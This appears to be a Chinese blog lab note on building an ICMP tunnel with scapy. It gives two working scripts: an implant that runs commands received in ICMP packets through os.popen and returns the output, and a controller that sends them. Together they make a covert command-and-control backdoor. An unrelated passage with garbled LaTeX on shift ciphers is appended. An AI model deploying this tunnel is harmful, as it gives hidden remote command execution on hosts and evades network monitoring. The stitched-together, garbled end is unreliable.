ICMP隧道实验
原文链接
想做一下这个实验,网上也有工具实现,但是想自己编程
工具链接
看原文python代码中用了socket,但是我们用scapy模块实验一下
现在用一下这个师傅的代码,不过有的地方要改一下才能运行。
被控端源代码原理为
监听ICMP包,把data放到到一个变量,命令执行它
控制端源代码原理为
发送ICMP包把命令字符串放到data里面
#!/usr/bin/env python3
#被控端
import os
from scapy.all import *
def main():
while True:
# wait for the ICMP message containing the command from the C2 server
# to be received
rx = sniff(filter="icmp", count=1)
# strip down the packet to the payload itself
var = rx[0][Raw].load.decode('utf-8')
# run the command and save the result
print(var)
res = os.popen(var).read()
# build the ICMP packet with the result as the payload
send(IP(dst="XXXXXXXXXX")/ICMP(type="echo-reply", id=0x0001, seq=0x1)/res)
if __name__ == "__main__":
main()
from scapy.all import *
from scapy.layers.inet import ICMP
#控制端
def main():
while True:
command = input('# Enter command: ')
pinger = IP(dst="XXXXXXXXXX")/ICMP(id=0x0001, seq=0x1)/command
send(pinger)
rx = sniff(count=1, timeout=2)
print(rx[0].load.decode('utf-8'))
#把原来的rx[0][Raw].load.decode('utf-8')
#凭感觉改成rx[0].load.decode('utf-8')
if __name__ == "__main__":
main()
我的实验的被控端是kali虚拟机,网络设置为桥接模式。
看一下IP,把它填到控制端代码IP的dst里面
我的控制端是Windows,同理,把它的IP填到被控端代码里面
如图有可能有解码错误,以后研究一下为什么
密码学原理与实践学习
P
\mathcal{P}
P为明文(plaintext)
C
\mathcal{C}
C或者
e
\mathcal{\Large{e}}
e为密文(ciphertext)
K
\mathcal{K}
K为密钥(key)
Z
\mathbb Z
Zm表示集合
{
0
,
1
,
…
,
m
−
1
}
\left\{\begin{matrix}0,1,^\ldots,m-1\end{matrix}\right\}
{0,1,…,m−1}
移位密码
在移位密码的集合中
P
+
K
=
C
\mathcal P +\mathcal K = \mathcal C
P+K=C
即
(
P
+
K
)
m
o
d
m
(\mathcal{P+K}) mod m
(P+K)modm等于
C
m
o
d
m
\mathcal C mod m
Cmodm
左右减
K
\mathcal K
K
P
=
C
−
K
\mathcal{P = C - K}
P=C−K
这样就可以解释当
K
\mathcal K
K作为密钥,加密
P
\mathcal P
P得到的
C
\mathcal C
C可以减
K
\mathcal K
K再
m
o
d
m
modm
modm可以得到
P
\mathcal P
P